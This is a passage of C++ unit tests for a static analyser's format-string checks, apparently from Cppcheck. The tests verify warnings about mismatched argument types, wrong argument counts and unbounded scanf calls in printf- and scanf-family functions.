TEST_SCANF_WARN_AKA_CPP(\"%n\", \"int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%n\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%n\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(long l) {\\n\"\n \" scanf(\\\"%n\\\", l);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'signed long'.\\n\", errout_str());\n\n check(\"void g() {\\n\" // #5104\n \" myvector v1(1);\\n\"\n \" scanf(\\\"%d\\\",&v1[0]);\\n\"\n \" myvector v2(1);\\n\"\n \" scanf(\\\"%u\\\",&v2[0]);\\n\"\n \" myvector v3(1);\\n\"\n \" scanf(\\\"%x\\\",&v3[0]);\\n\"\n \" myvector v4(1);\\n\"\n \" scanf(\\\"%lf\\\",&v4[0]);\\n\"\n \" myvector v5(1);\\n\"\n \" scanf(\\\"%10s\\\",v5[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void g() {\\n\" // #5348\n \" size_t s1;\\n\"\n \" ptrdiff_t s2;\\n\"\n \" ssize_t s3;\\n\"\n \" scanf(\\\"%zd\\\", &s1);\\n\"\n \" scanf(\\\"%zd\\\", &s2);\\n\"\n \" scanf(\\\"%zd\\\", &s3);\\n\"\n \"}\\n\";\n const char* result(\"[test.cpp:5]: (portability) %zd in format string (no. 1) requires 'ssize_t *' but the argument type is 'size_t * {aka unsigned long *}'.\\n\"\n \"[test.cpp:6]: (portability) %zd in format string (no. 1) requires 'ssize_t *' but the argument type is 'ptrdiff_t * {aka signed long *}'.\\n\");\n const char* result_win64(\"[test.cpp:5]: (portability) %zd in format string (no. 1) requires 'ssize_t *' but the argument type is 'size_t * {aka unsigned long long *}'.\\n\"\n \"[test.cpp:6]: (portability) %zd in format string (no. 1) requires 'ssize_t *' but the argument type is 'ptrdiff_t * {aka signed long long *}'.\\n\");\n\n check(code, dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix32));\n ASSERT_EQUALS(result, errout_str());\n check(code, dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(result, errout_str());\n check(code, dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(result, errout_str());\n check(code, dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32W));\n ASSERT_EQUALS(result, errout_str());\n check(code, dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(result_win64, errout_str());\n }\n {\n check(\"void g() {\\n\"\n \" const char c[]=\\\"42\\\";\\n\"\n \" scanf(\\\"%s\\\", c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %s in format string (no. 1) requires a 'char *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) scanf() without field width limits can crash with huge input data.\\n\", errout_str());\n }\n\n check(\"void f() {\\n\" // #7038\n \" scanf(\\\"%i\\\", \\\"abc\\\" + 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %i in format string (no. 1) requires 'int *' but the argument type is 'const char *'.\\n\", errout_str());\n }\n\n void testPrintfArgument() {\n check(\"void foo() {\\n\"\n \" printf(\\\"%i\\\");\\n\"\n \" printf(\\\"%i%s\\\", 123);\\n\"\n \" printf(\\\"%i%s%d\\\", 0, bar());\\n\"\n \" printf(\\\"%i%%%s%d\\\", 0, bar());\\n\"\n \" printf(\\\"%idfd%%dfa%s%d\\\", 0, bar());\\n\"\n \" fprintf(stderr,\\\"%u%s\\\");\\n\"\n \" snprintf(str,10,\\\"%u%s\\\");\\n\"\n \" sprintf(string1, \\\"%-*.*s\\\", 32, string2);\\n\" // #3364\n \" snprintf(a, 9, \\\"%s%d\\\", \\\"11223344\\\");\\n\" // #3655\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (error) printf format string requires 1 parameter but only 0 are given.\\n\"\n \"[test.cpp:3]: (error) printf format string requires 2 parameters but only 1 is given.\\n\"\n \"[test.cpp:4]: (error) printf format string requires 3 parameters but only 2 are given.\\n\"\n \"[test.cpp:5]: (error) printf format string requires 3 parameters but only 2 are given.\\n\"\n \"[test.cpp:6]: (error) printf format string requires 3 parameters but only 2 are given.\\n\"\n \"[test.cpp:7]: (error) fprintf format string requires 2 parameters but only 0 are given.\\n\"\n \"[test.cpp:8]: (error) snprintf format string requires 2 parameters but only 0 are given.\\n\"\n \"[test.cpp:9]: (error) sprintf format string requires 3 parameters but only 2 are given.\\n\"\n \"[test.cpp:10]: (error) snprintf format string requires 2 parameters but only 1 is given.\\n\", errout_str());\n\n check(\"void foo(char *str) {\\n\"\n \" printf(\\\"\\\", 0);\\n\"\n \" printf(\\\"%i\\\", 123, bar());\\n\"\n \" printf(\\\"%i%s\\\", 0, bar(), 43123);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) printf format string requires 0 parameters but 1 is given.\\n\"\n \"[test.cpp:3]: (warning) printf format string requires 1 parameter but 2 are given.\\n\"\n \"[test.cpp:4]: (warning) printf format string requires 2 parameters but 3 are given.\\n\", errout_str());\n\n check(\"void foo() {\\n\" // swprintf exists as MSVC extension and as standard function: #4790\n \" swprintf(string1, L\\\"%i\\\", 32, string2);\\n\" // MSVC implementation\n \" swprintf(string1, L\\\"%s%s\\\", L\\\"a\\\", string2);\\n\" // MSVC implementation\n \" swprintf(string1, 6, L\\\"%i\\\", 32, string2);\\n\" // Standard implementation\n \" swprintf(string1, 6, L\\\"%i%s\\\", 32, string2);\\n\" // Standard implementation\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) swprintf format string requires 1 parameter but 2 are given.\\n\"\n \"[test.cpp:4]: (warning) swprintf format string requires 1 parameter but 2 are given.\\n\", errout_str());\n\n check(\"void foo(char *str) {\\n\"\n \" printf(\\\"%i\\\", 0);\\n\"\n \" printf(\\\"%i%s\\\", 123, bar());\\n\"\n \" printf(\\\"%i%s%d\\\", 0, bar(), 43123);\\n\"\n \" printf(\\\"%i%%%s%d\\\", 0, bar(), 43123);\\n\"\n \" printf(\\\"%idfd%%dfa%s%d\\\", 0, bar(), 43123);\\n\"\n \" printf(\\\"%\\\"PRId64\\\"\\\", 123);\\n\"\n \" fprintf(stderr,\\\"%\\\"PRId64\\\"\\\", 123);\\n\"\n \" snprintf(str,10,\\\"%\\\"PRId64\\\"\\\", 123);\\n\"\n \" fprintf(stderr, \\\"error: %m\\\");\\n\" // #3339\n \" printf(\\\"string: %.*s\\\", len, string);\\n\" // #3311\n \" fprintf(stderr, \\\"%*cText.\\\", indent, ' ');\\n\" // #3313\n \" sprintf(string1, \\\"%*\\\", 32);\\n\" // #3364\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char* s, const char* s2, std::string s3, int i) {\\n\"\n \" printf(\\\"%s%s\\\", s, s2);\\n\"\n \" printf(\\\"%s\\\", i);\\n\"\n \" printf(\\\"%i%s\\\", i, i);\\n\"\n \" printf(\\\"%s\\\", s3);\\n\"\n \" printf(\\\"%s\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%u\\\", s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %s in format string (no. 1) requires 'char *' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:4]: (warning) %s in format string (no. 2) requires 'char *' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:5]: (warning) %s in format string (no. 1) requires 'char *' but the argument type is 'std::string'.\\n\"\n \"[test.cpp:7]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"void foo(char* s, const char* s2, std::string s3, int i) {\\n\"\n \" printf(\\\"%jd\\\", s);\\n\"\n \" printf(\\\"%ji\\\", s);\\n\"\n \" printf(\\\"%ju\\\", s2);\\n\"\n \" printf(\\\"%jo\\\", s3);\\n\"\n \" printf(\\\"%jx\\\", i);\\n\"\n \" printf(\\\"%jX\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %jd in format string (no. 1) requires 'intmax_t' but the argument type is 'char *'.\\n\"\n \"[test.cpp:3]: (warning) %ji in format string (no. 1) requires 'intmax_t' but the argument type is 'char *'.\\n\"\n \"[test.cpp:4]: (warning) %ju in format string (no. 1) requires 'uintmax_t' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:5]: (warning) %jo in format string (no. 1) requires 'uintmax_t' but the argument type is 'std::string'.\\n\"\n \"[test.cpp:6]: (warning) %jx in format string (no. 1) requires 'uintmax_t' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:7]: (warning) %jX in format string (no. 1) requires 'uintmax_t' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"void foo(uintmax_t uim, std::string s3, unsigned int ui, int i) {\\n\"\n \" printf(\\\"%ju\\\", uim);\\n\"\n \" printf(\\\"%ju\\\", ui);\\n\"\n \" printf(\\\"%jd\\\", ui);\\n\"\n \" printf(\\\"%jd\\\", s3);\\n\"\n \" printf(\\\"%jd\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %ju in format string (no. 1) requires 'uintmax_t' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:4]: (warning) %jd in format string (no. 1) requires 'intmax_t' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:5]: (warning) %jd in format string (no. 1) requires 'intmax_t' but the argument type is 'std::string'.\\n\"\n \"[test.cpp:6]: (warning) %jd in format string (no. 1) requires 'intmax_t' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"void foo(const int* cpi, const int ci, int i, int* pi, std::string s) {\\n\"\n \" printf(\\\"%n\\\", cpi);\\n\"\n \" printf(\\\"%n\\\", ci);\\n\"\n \" printf(\\\"%n\\\", i);\\n\"\n \" printf(\\\"%n\\\", pi);\\n\"\n \" printf(\\\"%n\\\", s);\\n\"\n \" printf(\\\"%n\\\", \\\"s4\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:4]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:6]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'std::string'.\\n\"\n \"[test.cpp:7]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'const char *'.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" printf(\\\"%n\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %n in format string (no. 1) requires 'int *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, double d, int i, unsigned int u) {\\n\"\n \" printf(\\\"%X\\\", f);\\n\"\n \" printf(\\\"%c\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%o\\\", d);\\n\"\n \" printf(\\\"%x\\\", cpi);\\n\"\n \" printf(\\\"%o\\\", b);\\n\"\n \" printf(\\\"%X\\\", bp);\\n\"\n \" printf(\\\"%X\\\", u);\\n\"\n \" printf(\\\"%X\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %X in format string (no. 1) requires 'unsigned int' but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %c in format string (no. 1) requires 'unsigned int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:5]: (warning) %o in format string (no. 1) requires 'unsigned int' but the argument type is 'double'.\\n\"\n \"[test.cpp:6]: (warning) %x in format string (no. 1) requires 'unsigned int' but the argument type is 'const signed int *'.\\n\"\n \"[test.cpp:8]: (warning) %X in format string (no. 1) requires 'unsigned int' but the argument type is 'bar *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const char* cpc, char* pc) {\\n\"\n \" printf(\\\"%x\\\", cpc);\\n\"\n \" printf(\\\"%x\\\", pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %x in format string (no. 1) requires 'unsigned int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:4]: (warning) %x in format string (no. 1) requires 'unsigned int' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%x\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%X\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%c\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%o\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %x in format string (no. 1) requires 'unsigned int' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:4]: (warning) %X in format string (no. 1) requires 'unsigned int' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:5]: (warning) %c in format string (no. 1) requires 'unsigned int' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:6]: (warning) %o in format string (no. 1) requires 'unsigned int' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, double d, unsigned int u, unsigned char uc) {\\n\"\n \" printf(\\\"%i\\\", f);\\n\"\n \" printf(\\\"%d\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%d\\\", d);\\n\"\n \" printf(\\\"%d\\\", u);\\n\"\n \" printf(\\\"%d\\\", cpi);\\n\"\n \" printf(\\\"%i\\\", b);\\n\"\n \" printf(\\\"%i\\\", bp);\\n\"\n \" printf(\\\"%i\\\", uc);\\n\" // char is smaller than int, so there shouldn't be a problem\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %i in format string (no. 1) requires 'int' but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:5]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'double'.\\n\"\n \"[test.cpp:6]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:7]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'const signed int *'.\\n\"\n \"[test.cpp:9]: (warning) %i in format string (no. 1) requires 'int' but the argument type is 'bar *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%i\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%d\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %i in format string (no. 1) requires 'int' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:4]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, double d, int i, bool bo) {\\n\"\n \" printf(\\\"%u\\\", f);\\n\"\n \" printf(\\\"%u\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%u\\\", d);\\n\"\n \" printf(\\\"%u\\\", i);\\n\"\n \" printf(\\\"%u\\\", cpi);\\n\"\n \" printf(\\\"%u\\\", b);\\n\"\n \" printf(\\\"%u\\\", bp);\\n\"\n \" printf(\\\"%u\\\", bo);\\n\" // bool shouldn't have a negative sign\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:5]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'double'.\\n\"\n \"[test.cpp:6]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:7]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'const signed int *'.\\n\"\n \"[test.cpp:9]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'bar *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, double d, int i, bool bo) {\\n\"\n \" printf(\\\"%u\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, char c) {\\n\"\n \" printf(\\\"%p\\\", f);\\n\"\n \" printf(\\\"%p\\\", c);\\n\"\n \" printf(\\\"%p\\\", bp);\\n\"\n \" printf(\\\"%p\\\", cpi);\\n\"\n \" printf(\\\"%p\\\", b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %p in format string (no. 1) requires an address but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %p in format string (no. 1) requires an address but the argument type is 'char'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(char* pc, const char* cpc, wchar_t* pwc, const wchar_t* cpwc) {\\n\"\n \" printf(\\\"%p\\\", pc);\\n\"\n \" printf(\\\"%p\\\", cpc);\\n\"\n \" printf(\\\"%p\\\", pwc);\\n\"\n \" printf(\\\"%p\\\", cpwc);\\n\"\n \" printf(\\\"%p\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%p\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const int* cpi, foo f, bar b, bar* bp, double d) {\\n\"\n \" printf(\\\"%e\\\", f);\\n\"\n \" printf(\\\"%E\\\", \\\"s4\\\");\\n\"\n \" printf(\\\"%f\\\", cpi);\\n\"\n \" printf(\\\"%G\\\", bp);\\n\"\n \" printf(\\\"%f\\\", d);\\n\"\n \" printf(\\\"%f\\\", b);\\n\"\n \" printf(\\\"%f\\\", (float)cpi);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %e in format string (no. 1) requires 'double' but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %E in format string (no. 1) requires 'double' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'const signed int *'.\\n\"\n \"[test.cpp:6]: (warning) %G in format string (no. 1) requires 'double' but the argument type is 'bar *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo(const char* cpc, char* pc) {\\n\"\n \" printf(\\\"%e\\\", cpc);\\n\"\n \" printf(\\\"%E\\\", pc);\\n\"\n \" printf(\\\"%f\\\", cpc);\\n\"\n \" printf(\\\"%G\\\", pc);\\n\"\n \" printf(\\\"%f\\\", pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %e in format string (no. 1) requires 'double' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:4]: (warning) %E in format string (no. 1) requires 'double' but the argument type is 'char *'.\\n\"\n \"[test.cpp:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:6]: (warning) %G in format string (no. 1) requires 'double' but the argument type is 'char *'.\\n\"\n \"[test.cpp:7]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"class foo {};\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%e\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%E\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%f\\\", L\\\"s5W\\\");\\n\"\n \" printf(\\\"%G\\\", L\\\"s5W\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %e in format string (no. 1) requires 'double' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:4]: (warning) %E in format string (no. 1) requires 'double' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:5]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'const wchar_t *'.\\n\"\n \"[test.cpp:6]: (warning) %G in format string (no. 1) requires 'double' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"class foo;\\n\"\n \"void foo(foo f) {\\n\"\n \" printf(\\\"%u\\\", f);\\n\"\n \" printf(\\\"%f\\\", f);\\n\"\n \" printf(\\\"%p\\\", f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'foo'.\\n\"\n \"[test.cpp:4]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'foo'.\\n\"\n \"[test.cpp:5]: (warning) %p in format string (no. 1) requires an address but the argument type is 'foo'.\\n\", errout_str());\n\n // Ticket #4189 (Improve check (printf(\"%l\") not detected)) tests (according to C99 7.19.6.1.7)\n // False positive tests\n check(\"void foo(signed char sc, unsigned char uc, short int si, unsigned short int usi) {\\n\"\n \" printf(\\\"%hhx %hhd\\\", sc, uc);\\n\"\n \" printf(\\\"%hd %hu\\\", si, usi);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hhx in format string (no. 1) requires 'unsigned char' but the argument type is 'signed char'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 2) requires 'char' but the argument type is 'unsigned char'.\\n\", errout_str());\n\n check(\"void foo(long long int lli, unsigned long long int ulli, long int li, unsigned long int uli) {\\n\"\n \" printf(\\\"%llo %llx\\\", lli, ulli);\\n\"\n \" printf(\\\"%ld %lu\\\", li, uli);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(intmax_t im, uintmax_t uim, size_t s, ptrdiff_t p, long double ld, std::size_t ss, std::ptrdiff_t sp) {\\n\"\n \" printf(\\\"%jd %jo\\\", im, uim);\\n\"\n \" printf(\\\"%zx\\\", s);\\n\"\n \" printf(\\\"%ti\\\", p);\\n\"\n \" printf(\\\"%Lf\\\", ld);\\n\"\n \" printf(\\\"%zx\\\", ss);\\n\"\n \" printf(\\\"%ti\\\", sp);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unrecognized (and non-existent in standard library) specifiers.\n // Perhaps should emit warnings\n check(\"void foo(intmax_t im, uintmax_t uim, size_t s, ptrdiff_t p, long double ld, std::size_t ss, std::ptrdiff_t sp) {\\n\"\n \" printf(\\\"%jb %jw\\\", im, uim);\\n\"\n \" printf(\\\"%zr\\\", s);\\n\"\n \" printf(\\\"%tm\\\", p);\\n\"\n \" printf(\\\"%La\\\", ld);\\n\"\n \" printf(\\\"%zv\\\", ss);\\n\"\n \" printf(\\\"%tp\\\", sp);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(long long l, ptrdiff_t p, std::ptrdiff_t sp) {\\n\"\n \" printf(\\\"%td\\\", p);\\n\"\n \" printf(\\\"%td\\\", sp);\\n\"\n \" printf(\\\"%td\\\", l);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4]: (warning) %td in format string (no. 1) requires 'ptrdiff_t' but the argument type is 'signed long long'.\\n\", errout_str());\n\n check(\"void foo(int i, long double ld) {\\n\"\n \" printf(\\\"%zx %zu\\\", i, ld);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %zx in format string (no. 1) requires 'size_t' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %zu in format string (no. 2) requires 'size_t' but the argument type is 'long double'.\\n\", errout_str());\n\n check(\"void foo(unsigned int ui, long double ld) {\\n\"\n \" printf(\\\"%zu %zx\\\", ui, ld);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %zu in format string (no. 1) requires 'size_t' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %zx in format string (no. 2) requires 'size_t' but the argument type is 'long double'.\\n\", errout_str());\n\n check(\"void foo(int i, long double ld) {\\n\"\n \" printf(\\\"%tx %tu\\\", i, ld);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %tx in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %tu in format string (no. 2) requires 'unsigned ptrdiff_t' but the argument type is 'long double'.\\n\", errout_str());\n\n // False negative test\n check(\"void foo(unsigned int i) {\\n\"\n \" printf(\\\"%h\\\", i);\\n\"\n \" printf(\\\"%hh\\\", i);\\n\"\n \" printf(\\\"%l\\\", i);\\n\"\n \" printf(\\\"%ll\\\", i);\\n\"\n \" printf(\\\"%j\\\", i);\\n\"\n \" printf(\\\"%z\\\", i);\\n\"\n \" printf(\\\"%t\\\", i);\\n\"\n \" printf(\\\"%L\\\", i);\\n\"\n \" printf(\\\"%I\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) 'h' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:3]: (warning) 'hh' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:4]: (warning) 'l' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:5]: (warning) 'll' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:6]: (warning) 'j' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:7]: (warning) 'z' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:8]: (warning) 't' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:9]: (warning) 'L' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:10]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\", errout_str());\n\n check(\"void foo(unsigned int i) {\\n\"\n \" printf(\\\"%hd\\\", i);\\n\"\n \" printf(\\\"%hhd\\\", i);\\n\"\n \" printf(\\\"%ld\\\", i);\\n\"\n \" printf(\\\"%lld\\\", i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hd in format string (no. 1) requires 'short' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:3]: (warning) %hhd in format string (no. 1) requires 'char' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:4]: (warning) %ld in format string (no. 1) requires 'long' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:5]: (warning) %lld in format string (no. 1) requires 'long long' but the argument type is 'unsigned int'.\\n\", errout_str());\n\n check(\"void foo(size_t s, ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix32));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\", errout_str());\n\n check(\"void foo(std::size_t s, std::ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix32));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'std::ptrdiff_t {aka signed long}'.\\n\", errout_str());\n\n check(\"void foo(size_t s, ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\", errout_str());\n\n check(\"void foo(std::size_t s, std::ptrdiff_t p) {\\n\"\n \" printf(\\\"%zd\\\", s);\\n\"\n \" printf(\\\"%tu\\\", p);\\n\"\n \"}\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:2]: (portability) %zd in format string (no. 1) requires 'ssize_t' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:3]: (portability) %tu in format string (no. 1) requires 'unsigned ptrdiff_t' but the argument type is 'std::ptrdiff_t {aka signed 